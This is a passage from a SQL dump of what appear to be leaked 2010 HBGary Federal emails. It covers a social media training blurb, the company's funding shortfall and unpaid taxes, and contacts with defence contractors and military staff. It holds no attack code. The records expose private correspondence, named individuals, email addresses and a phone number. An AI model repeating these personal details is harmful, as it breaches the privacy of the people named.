events@govexec.com\r\n            \r\n            \r\n            \r\n            For\r\nmore information on underwriting opportunities, please contact your\r\naccount representative or Hilery Sirpis at hsirpis@govexec.com\r\n            \r\n            \r\n            \r\n            Reminder\r\nto Federal Government Employees: Please note that this educational\r\nevent is intended for career federal employees and not for political\r\nappointees. Breakfast will be served for program participants. A\r\ndescription of this event - written for government ethics office review\r\n- may be requested by writing Andrea White at awhite@govexec.com\r\n            \r\n          \r\n          \r\n              \r\n          \r\n          \r\n            \r\n            \r\n600 New Hampshire Ave., NW, Washington, DC 20037 www.govexec.com\r\n            \r\n            To\r\ndiscontinue the receipt of this e-mail service from Government\r\nExecutive \r\n(not including e-newsletters or columns) please click here to unsubscribe.\r\n            \r\n            \r\n            To\r\ndiscontinue the receipt of this e-mail service from Government\r\nExecutive \r\n(not including e-newsletters or columns) please click here to unsubscribe.\r\n            \r\n            Forward this email to a colleague.\r\n            Review our privacy policy · Subscription Information · Customer\r\nService\r\n            \r\n          \r\n        \r\n      \r\n      \r\n    \r\n  \r\n\r\n\r\n\r\n\r\n#avg_ls_inline_popup {  position:absolute;  z-index:9999;  padding: 0px 0px;  margin-left: 0px;  margin-top: 0px;  width: 240px;  overflow: hidden;  word-wrap: break-word;  color: black;  font-size: 10px;  text-align: left;  line-height: 13px;}\r\n\r\n\r\n',3919,'aaron_hbgary_com/3919.html'),(8681,'2010-07-16','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006670.M375835P14101Q3536.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Social Media Write Up','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nNo I think a written summary would be good, it should be to the\r\npoint and provide info on what you will learn. &nbsp;Remember we are trying to draw people\r\nto the event, it has to be somewhat salesy\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, July 16, 2010 11:17 AM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Re: Social Media Write Up\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo problem. &nbsp;In what format. &nbsp;I can give you an\r\nupdated power point, an abstract?\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jul 16, 2010, at 12:34 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFor\r\nseminars.&nbsp; I need something to push\r\n\r\n&nbsp;\r\n\r\nPenny\r\nC. Leavy\r\n\r\nPresident\r\n\r\nHBGary,\r\nInc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any\r\ntax information or written tax advice contained herein (including attachments)\r\nis not intended to be and cannot be used by any taxpayer for the purpose of\r\navoiding tax penalties that may be imposed on&nbsp;the taxpayer.&nbsp; (The\r\nforegoing legend has been affixed pursuant to U.S. Treasury regulations\r\ngoverning tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and any attached files may\r\ncontain information that is confidential and/or subject of legal privilege\r\nintended only for use by the intended recipient. If you are not the intended\r\nrecipient or the person responsible for&nbsp;&nbsp; delivering the message to\r\nthe intended recipient, be advised that you have received this message in error\r\nand that any dissemination, copying or use of this message or attachment is\r\nstrictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16219,'aaron_hbgary_com/16219.html'),(8682,'2010-07-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006670.M638334P14101Q3537.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Social Media Write Up','KSent from my iPhoneOn Jul 16, 2010, at 2:55 PM, \"Penny Leavy-Hoglund\" &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nNo I think a written summary would be good, it should be to the\r\npoint and provide info on what you will learn. &nbsp;Remember we are trying to draw people\r\nto the event, it has to be somewhat salesy\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, July 16, 2010 11:17 AM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Re: Social Media Write Up\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo problem. &nbsp;In what format. &nbsp;I can give you an\r\nupdated power point, an abstract?\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jul 16, 2010, at 12:34 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFor\r\nseminars.&nbsp; I need something to push\r\n\r\n&nbsp;\r\n\r\nPenny\r\nC. Leavy\r\n\r\nPresident\r\n\r\nHBGary,\r\nInc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE – Any\r\ntax information or written tax advice contained herein (including attachments)\r\nis not intended to be and cannot be used by any taxpayer for the purpose of\r\navoiding tax penalties that may be imposed on&nbsp;the taxpayer.&nbsp; (The\r\nforegoing legend has been affixed pursuant to U.S. Treasury regulations\r\ngoverning tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and any attached files may\r\ncontain information that is confidential and/or subject of legal privilege\r\nintended only for use by the intended recipient. If you are not the intended\r\nrecipient or the person responsible for&nbsp;&nbsp; delivering the message to\r\nthe intended recipient, be advised that you have received this message in error\r\nand that any dissemination, copying or use of this message or attachment is\r\nstrictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10975,'aaron_hbgary_com/10975.html'),(8683,'2010-07-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006671.M384161P14101Q3539.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,','Re: Future','Yep but your the majority stake holder so I wanted to get your thoughts first.  A call next week would be good.  I\'ll look to set something up beginning of the week and see how it falls out.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 16, 2010, at 3:06 PM, \"Penny Leavy-Hoglund\"  wrote:\r\n\r\n> First, you have a board you need to work with so this isnt\' just a call with\r\n> me, it is with all investors.  We can set up a time next week\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, July 16, 2010 11:03 AM\r\n> To: Penny Leavy; Greg Hoglund\r\n> Cc: Ted Vera\r\n> Subject: Future\r\n> \r\n> Penny,\r\n> \r\n> Do you have time to talk about possible investment around HBGary Federal\r\n> today?  I am feeling pretty good about what we have lined up for the fall\r\n> but we are going to have some gaps between now and then that I don\'t know\r\n> how we make it through.  If I had the money I would pour it in, and I know\r\n> Ted would as well, but we just don\'t.  I have put in as much as I can but am\r\n> not personally strapped for cash to the point that if I miss another check I\r\n> will be missing bills.\r\n> \r\n> On the positive side, our old work RFP is going to drop in August.  I am\r\n> extremely confident about this work.  I met with my buddy who runs this for\r\n> the government and he really wants us back in there.  We have put together\r\n> an unbelievable team.\r\n> \r\n> NG Xetron called me yesterday, they are having staffing problems for some of\r\n> their classified IO work, I am hoping we can staff some of those positions\r\n> soon.\r\n> \r\n> Mantech has had me sign 3 NDAs and said that we have capabilities that can\r\n> support existing work, we are also going after Gatorbait as a sub to them\r\n> (they are the incumbent).  If they win the FBI ESOC work they want to talk\r\n> about how we can help them out.\r\n> \r\n> \r\n> The Chief architect of CDC is friends with Ted and is going to have Ted do\r\n> demos to his staff and then afterwards they are going to the beach together.\r\n> (wink wink nudge nudge know what I mean).\r\n> \r\n> I am not participating in some very senior small groups in cyber and getting\r\n> senior level government access.  While this doesn\'t directly translate to\r\n> work.  In my process of discussion of cyber problems I mention HBGary and\r\n> HBGary Fed capabilities regularly.  That can not be bad thing.  Example out\r\n> of the 4 hour meeting yesterday I probably had the mic for about 90 minutes\r\n> and managed to mention all of our capabilities within the context of solving\r\n> tough problems.\r\n> CMDR IO for EUCOM top 3 problems: Attribution and Threat Intelligence,\r\n> Social Media, and Influence of local populations. (REALLY!!!!)\r\n> \r\n> So we are on a very strong path for a startup company we just need a little\r\n> gap coverage and someone like Mantech might be able to help with that, it\r\n> won\' t take much.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n',11321,'aaron_hbgary_com/11321.html'),(8684,'2010-07-16','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006671.M42511P14101Q3538.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Future','First, you have a board you need to work with so this isnt\' just a call with\r\nme, it is with all investors.  We can set up a time next week\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, July 16, 2010 11:03 AM\r\nTo: Penny Leavy; Greg Hoglund\r\nCc: Ted Vera\r\nSubject: Future\r\n\r\nPenny,\r\n\r\nDo you have time to talk about possible investment around HBGary Federal\r\ntoday?  I am feeling pretty good about what we have lined up for the fall\r\nbut we are going to have some gaps between now and then that I don\'t know\r\nhow we make it through.  If I had the money I would pour it in, and I know\r\nTed would as well, but we just don\'t.  I have put in as much as I can but am\r\nnot personally strapped for cash to the point that if I miss another check I\r\nwill be missing bills.\r\n\r\nOn the positive side, our old work RFP is going to drop in August.  I am\r\nextremely confident about this work.  I met with my buddy who runs this for\r\nthe government and he really wants us back in there.  We have put together\r\nan unbelievable team.\r\n\r\nNG Xetron called me yesterday, they are having staffing problems for some of\r\ntheir classified IO work, I am hoping we can staff some of those positions\r\nsoon.\r\n\r\nMantech has had me sign 3 NDAs and said that we have capabilities that can\r\nsupport existing work, we are also going after Gatorbait as a sub to them\r\n(they are the incumbent).  If they win the FBI ESOC work they want to talk\r\nabout how we can help them out.\r\n\r\n\r\nThe Chief architect of CDC is friends with Ted and is going to have Ted do\r\ndemos to his staff and then afterwards they are going to the beach together.\r\n(wink wink nudge nudge know what I mean).\r\n\r\nI am not participating in some very senior small groups in cyber and getting\r\nsenior level government access.  While this doesn\'t directly translate to\r\nwork.  In my process of discussion of cyber problems I mention HBGary and\r\nHBGary Fed capabilities regularly.  That can not be bad thing.  Example out\r\nof the 4 hour meeting yesterday I probably had the mic for about 90 minutes\r\nand managed to mention all of our capabilities within the context of solving\r\ntough problems.\r\nCMDR IO for EUCOM top 3 problems: Attribution and Threat Intelligence,\r\nSocial Media, and Influence of local populations. (REALLY!!!!)\r\n\r\nSo we are on a very strong path for a startup company we just need a little\r\ngap coverage and someone like Mantech might be able to help with that, it\r\nwon\' t take much.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',13464,'aaron_hbgary_com/13464.html'),(8685,'2010-07-16','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006671.M634896P14101Q3540.eml','\"Aaron Barr\" <aaron@hbgary.com>','Accepted: HBGary Federal Funding and Pipeline Discussion @ Mon Jul 19 	3:30pm - 4:30pm (aaron@hbgary.com)','Ted Vera has accepted this invitation.HBGary Federal Funding and Pipeline DiscussionWhenMon Jul 19 3:30pm – 4:30pm Eastern TimeWhere Telecon (number to follow) (map)Calendaraaron@hbgary.comWho&#x2022;Aaron Barr - organizer&#x2022;greg@hbgary.com&#x2022;rich@hbgary.com&#x2022;bob@hbgary.com&#x2022;penny@hbgary.com&#x2022;ted@hbgary.comInvitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for invitation replies on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',55,'aaron_hbgary_com/55.html'),(8686,'2010-07-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006671.M860124P14101Q3541.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Social Media Write Up','How is this?Social media has become part of the fabric of how we\r\ncommunicate and collaborate as a society.&nbsp;\r\nThe rise of the social web, and convergence of related technologies\r\n(e.g., mobile, location based services), has enabled faster information sharing\r\nand feedback cycles across a global audience.&nbsp; By nature of their use, social media services contain\r\nsignificant amounts of personally identifiable information (PII).&nbsp; Given the ease and speed of use, they\r\nalso present a significant risk of unauthorized disclosure of intellectual\r\nproperty or other sensitive information.With the exploding number of users of social media services,\r\nit is a fact that family, friends, customers, prospects, partners, suppliers,\r\nconstituents, citizens, competitors and adversaries are all participating,\r\nintermingled in these same services.&nbsp;\r\nGiven the breadth of participation and the potential benefits, enterprises\r\nand government agencies beginning to leverage social media for gains, however are\r\nanxious of the inherent risks in their use.&nbsp; Recent DoD Directives opening up military networks to social\r\nmedia platforms and the vocalized concern that followed underscore this\r\npoint.&nbsp; PII released for social\r\nmedia use is difficult to manage across a single platform, but presents significantly\r\ngreater risk of unintended personal and organizational information exposure when\r\naggregated across multiple social media platforms.Our training covers the direction of the social web,\r\ndescribes effective uses and the risks of information exposure to people and\r\norganizations as well as run through some use cases demonstrating the ease of\r\nacquiring sensitive information by crawling and correlating social media\r\ninformation, including live demonstrations of social media reconnaissance.&nbsp; After understanding the main areas of\r\nrisk to an organization regarding use of social media, will we provide\r\nmitigation techniques covering people, process and technology.&nbsp; By managing these risks, organizations\r\ncan more comfortably gain the value of these sites, while protecting the organization\r\nand its sensitive information, whether personally identifiable or intellectual\r\nproperty-based.&nbsp; Attendees will\r\ngain knowledge doing risk assessments of social media use, risks and mitigation\r\ntechniques for social media use to prepare for more appropriate adoption.&nbsp; \r\n\r\n\r\n\r\n\r\nOn Jul 16, 2010, at 2:55 PM, Penny Leavy-Hoglund wrote:No I think a written summary would be good, it should be to the point and provide info on what you will learn. &nbsp;Remember we are trying to draw people to the event, it has to be somewhat salesy&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Friday, July 16, 2010 11:17 AMTo:&nbsp;Penny Leavy-HoglundSubject:&nbsp;Re: Social Media Write Up&nbsp;No problem. &nbsp;In what format. &nbsp;I can give you an updated power point, an abstract?Sent from my iPadOn Jul 16, 2010, at 12:34 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:For seminars.&nbsp; I need something to push&nbsp;Penny C. LeavyPresidentHBGary, Inc&nbsp;&nbsp;NOTICE –&nbsp;Any tax information or written tax advice contained herein (including attachments) is not intended to be and cannot be used by any taxpayer for the purpose of avoiding tax penalties that may be imposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to U.S. Treasury regulations governing tax practice.)&nbsp;This message and any attached files may contain information that is confidential and/or subject of legal privilege intended only for use by the intended recipient. If you are not the intended recipient or the person responsible for&nbsp;&nbsp; delivering the message to the intended recipient, be advised that you have received this message in error and that any dissemination, copying or use of this message or attachment is strictly&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',15498,'aaron_hbgary_com/15498.html'),(8687,'2010-07-16','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006672.M291723P14101Q3543.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: Future','OK, sounds good\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, July 16, 2010 12:17 PM\r\nTo: Penny Leavy-Hoglund\r\nCc: Greg Hoglund; Ted Vera\r\nSubject: Re: Future\r\n\r\nYep but your the majority stake holder so I wanted to get your thoughts\r\nfirst.  A call next week would be good.  I\'ll look to set something up\r\nbeginning of the week and see how it falls out.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 16, 2010, at 3:06 PM, \"Penny Leavy-Hoglund\"  wrote:\r\n\r\n> First, you have a board you need to work with so this isnt\' just a call\r\nwith\r\n> me, it is with all investors.  We can set up a time next week\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, July 16, 2010 11:03 AM\r\n> To: Penny Leavy; Greg Hoglund\r\n> Cc: Ted Vera\r\n> Subject: Future\r\n> \r\n> Penny,\r\n> \r\n> Do you have time to talk about possible investment around HBGary Federal\r\n> today?  I am feeling pretty good about what we have lined up for the fall\r\n> but we are going to have some gaps between now and then that I don\'t know\r\n> how we make it through.  If I had the money I would pour it in, and I know\r\n> Ted would as well, but we just don\'t.  I have put in as much as I can but\r\nam\r\n> not personally strapped for cash to the point that if I miss another check\r\nI\r\n> will be missing bills.\r\n> \r\n> On the positive side, our old work RFP is going to drop in August.  I am\r\n> extremely confident about this work.  I met with my buddy who runs this\r\nfor\r\n> the government and he really wants us back in there.  We have put together\r\n> an unbelievable team.\r\n> \r\n> NG Xetron called me yesterday, they are having staffing problems for some\r\nof\r\n> their classified IO work, I am hoping we can staff some of those positions\r\n> soon.\r\n> \r\n> Mantech has had me sign 3 NDAs and said that we have capabilities that can\r\n> support existing work, we are also going after Gatorbait as a sub to them\r\n> (they are the incumbent).  If they win the FBI ESOC work they want to talk\r\n> about how we can help them out.\r\n> \r\n> \r\n> The Chief architect of CDC is friends with Ted and is going to have Ted do\r\n> demos to his staff and then afterwards they are going to the beach\r\ntogether.\r\n> (wink wink nudge nudge know what I mean).\r\n> \r\n> I am not participating in some very senior small groups in cyber and\r\ngetting\r\n> senior level government access.  While this doesn\'t directly translate to\r\n> work.  In my process of discussion of cyber problems I mention HBGary and\r\n> HBGary Fed capabilities regularly.  That can not be bad thing.  Example\r\nout\r\n> of the 4 hour meeting yesterday I probably had the mic for about 90\r\nminutes\r\n> and managed to mention all of our capabilities within the context of\r\nsolving\r\n> tough problems.\r\n> CMDR IO for EUCOM top 3 problems: Attribution and Threat Intelligence,\r\n> Social Media, and Influence of local populations. (REALLY!!!!)\r\n> \r\n> So we are on a very strong path for a startup company we just need a\r\nlittle\r\n> gap coverage and someone like Mantech might be able to help with that, it\r\n> won\' t take much.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n\r\n',8371,'aaron_hbgary_com/8371.html'),(8688,'2010-07-16','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297006672.M518098P14101Q3544.eml','\"Aaron Barr\" <aaron@hbgary.com>','Ed Swallow has accepted your LinkedIn invitation','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nInvitation Accepted\r\n\r\n\r\n&nbsp;\r\n\r\nCongratulations! You and Ed are now connected.\r\n\r\n \r\n   \r\n   View Ed\'s profile to:\r\n     \r\n       Download Ed\'s current contact information\r\n       Write a recommendation for Ed\r\n       Find opportunities through Ed\'s network\r\n       See who you know in common\r\n     \r\n   &nbsp;\r\n   \r\n   Continue building your network:Every person you connect with builds value for you and all your connections.\r\n \r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n If these links are not working, you can paste the following address into your browser: http://www.linkedin.com/e/-nennfn-gbpi7vbx-50/fpf/22430536/EML-inv-acc-prof/ Thank you for using LinkedIn! -- The LinkedIn Team\r\nhttp://www.linkedin.com/\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&copy; 2010, LinkedIn Corporation\r\n\r\n\r\n\r\n',11257,'aaron_hbgary_com/11257.html'),(8689,'2010-07-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006672.M65642P14101Q3542.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Reading material for Monday call','All,\r\n\r\nFunding is definitely an issue between now and the fall (October).  July round of funding is not complete and that will only carry us (including the VAPT we are doing for LANL in early august for 30k) to September.  To meet payroll we have not been able to pay our full taxes to date.  So we either need to front load funding as we had discussed months ago or we need to seek external funding.\r\n\r\nOn the positive side, our old work RFP is going to drop in August.  I am extremely confident about this work.  I met with my buddy who runs this for the government and he really wants us back in there.  We have put together an unbelievable team.  And this would result in a minimum of 5 FTEs very conservative.\r\nNG Xetron called me yesterday, they are having staffing problems for some of their classified IO work, I am hoping we can staff some of those positions soon.\r\nMantech has had me sign 3 NDAs and said that we have capabilities that can support existing work, we are also going after Gatorbait as a sub to them (they are the incumbent).  If they win the FBI ESOC work they want to talk about how we can help them out.\r\nThe Chief architect of CDC is friends with Ted and is going to have Ted do demos to his staff and then afterwards they are going to the beach together. (wink wink nudge nudge know what I mean).\r\nI am participating in some very senior small groups in cyber and getting senior level government access.  While this doesn&#39;t directly translate to work.  In my process of discussion of cyber problems I mention HBGary and HBGary Fed capabilities regularly.  That can not be bad thing.  Example out of the 4 hour meeting yesterday I probably had the mic for about 90 minutes and managed to mention all of our capabilities within the context of solving tough problems.\r\nCMDR IO for EUCOM top 3 problems: Attribution and Threat Intelligence, Social Media, and Influence of local populations. (REALLY!!!!)There are other opportunities we are tracking and involved in but these are the nearest term.\r\n\r\nAlso I am getting lots of good response on our social media focus and upcoming offerings.\r\n\r\nSo we are on a very strong path for a startup company we just need a little gap coverage and someone like Mantech might be able to help with that, it won&#39; t take much.\r\nIf you have questions or other specific things you would like Ted or me to cover in the call please shoot them to us.AaronSent from my iPad\r\n',14721,'aaron_hbgary_com/14721.html'),(8690,'2010-07-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006672.M755451P14101Q3545.eml','\"Tubbs, Gregory [Ctr]\" <tubbsg@atac.mil>,\"Tubbs, Gregory [Ctr]\" <tubbsg@atac.mil>','Re: Invitation: Brian Hibbeln','Greg/Brian,\r\n\r\nThank you for inviting me to yesterdays discussions.  My enthusiasm\r\nfor the topics I am sure was obvious, hopefully my participation was\r\nproductive for the group.  Where i can add benefit i would enjoy\r\nparticipating in these types of discussions.  Food, beer, and mission!\r\n\r\nI am not sure of the audience next tuesday but if it\'s open I would\r\nlove to attend the cyber discussion.\r\n\r\nHave a good weekend.\r\nAaron\r\n\r\n\r\n\r\nOn Tuesday, July 13, 2010, Tubbs, Gregory [Ctr]  wrote:\r\n> Aaron....I work with Brian Hibbeln.  We are hosting the EUCOM J39...COL Chuck Eassa, Thurs 15 July from 1600-1900.  Food will be provided so that we can talk uninterrupted.\r\n>\r\n> Chuck has CYBER, IO, IW and Space in his portfolio.\r\n>\r\n> Chucks overwhelming interest in this venue is CYBER.  EUCOM is considering a EUCOM CYBER conference for the fall.\r\n>\r\n> Many aspects of CYBER will be discussed, entire meeting will be hosted up to TS/SCI...with appropriate side bars, when appropriate.\r\n>\r\n> We think you will find it of interest.  Informal discussion of what matters to EUCOM.\r\n>\r\n> R/Greg\r\n>\r\n\r\n-- \r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n719.510.8478\r\n',16601,'aaron_hbgary_com/16601.html'),(8691,'2010-07-16','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006673.M13197P14101Q3546.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Social Media Write Up','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nIt&#8217;s good for gov&#8217;t, but how and why would a corporate office\r\nwant to attend?&nbsp; To eliminate the need for Russian hackers to use this info to\r\ngain access to a bank account, for China to target developers of IP at a\r\nstrategic co?&nbsp; You need to include this\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, July 16, 2010 12:40 PM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Re: Social Media Write Up\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHow is this?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSocial\r\nmedia has become part of the fabric of how we communicate and collaborate as a\r\nsociety.&nbsp; The rise of the social web, and convergence of related technologies\r\n(e.g., mobile, location based services), has enabled faster information sharing\r\nand feedback cycles across a global audience.&nbsp; By nature of their use, social\r\nmedia services contain significant amounts of personally identifiable\r\ninformation (PII).&nbsp; Given the ease and speed of use, they also present a\r\nsignificant risk of unauthorized disclosure of intellectual property or other\r\nsensitive information.\r\n\r\nWith\r\nthe exploding number of users of social media services, it is a fact that\r\nfamily, friends, customers, prospects, partners, suppliers, constituents,\r\ncitizens, competitors and adversaries are all participating, intermingled in\r\nthese same services.&nbsp; Given the breadth of participation and the potential\r\nbenefits, enterprises and government agencies beginning to leverage social\r\nmedia for gains, however are anxious of the inherent risks in their use.&nbsp;\r\nRecent DoD Directives opening up military networks to social media platforms\r\nand the vocalized concern that followed underscore this point.&nbsp; PII released\r\nfor social media use is difficult to manage across a single platform, but\r\npresents significantly greater risk of unintended personal and organizational\r\ninformation exposure when aggregated across multiple social media platforms.\r\n\r\nOur\r\ntraining covers the direction of the social web, describes effective uses and\r\nthe risks of information exposure to people and organizations as well as run\r\nthrough some use cases demonstrating the ease of acquiring sensitive\r\ninformation by crawling and correlating social media information, including\r\nlive demonstrations of social media reconnaissance.&nbsp; After understanding the\r\nmain areas of risk to an organization regarding use of social media, will we\r\nprovide mitigation techniques covering people, process and technology.&nbsp; By\r\nmanaging these risks, organizations can more comfortably gain the value of\r\nthese sites, while protecting the organization and its sensitive information,\r\nwhether personally identifiable or intellectual property-based.&nbsp; Attendees will\r\ngain knowledge doing risk assessments of social media use, risks and mitigation\r\ntechniques for social media use to prepare for more appropriate adoption.&nbsp; \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jul 16, 2010, at 2:55 PM, Penny Leavy-Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo I think a written summary would be good, it should be to the\r\npoint and provide info on what you will learn. &nbsp;Remember we are trying to\r\ndraw people to the event, it has to be somewhat salesy\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Friday, July 16,\r\n2010 11:17 AM\r\nTo:&nbsp;Penny Leavy-Hoglund\r\nSubject:&nbsp;Re: Social Media\r\nWrite Up\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo problem. &nbsp;In what format. &nbsp;I can give you an\r\nupdated power point, an abstract?\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jul 16, 2010, at 12:34 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFor seminars.&nbsp; I need something to push\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPenny C. Leavy\r\n\r\n\r\n\r\n\r\n\r\nPresident\r\n\r\n\r\n\r\n\r\n\r\nHBGary, Inc\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNOTICE &#8211;&nbsp;Any tax information or written tax advice contained herein\r\n(including attachments) is not intended to be and cannot be used by any\r\ntaxpayer for the purpose of avoiding tax penalties that may be imposed\r\non&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to\r\nU.S. Treasury regulations governing tax practice.)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2770,'aaron_hbgary_com/2770.html'),(8692,'2010-07-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006673.M248408P14101Q3547.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Social Media Write Up','Ok will do tonight.Sent from my iPhoneOn Jul 16, 2010, at 5:17 PM, \"Penny Leavy-Hoglund\" &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nIt’s good for gov’t, but how and why would a corporate office\r\nwant to attend?&nbsp; To eliminate the need for Russian hackers to use this info to\r\ngain access to a bank account, for China to target developers of IP at a\r\nstrategic co?&nbsp; You need to include 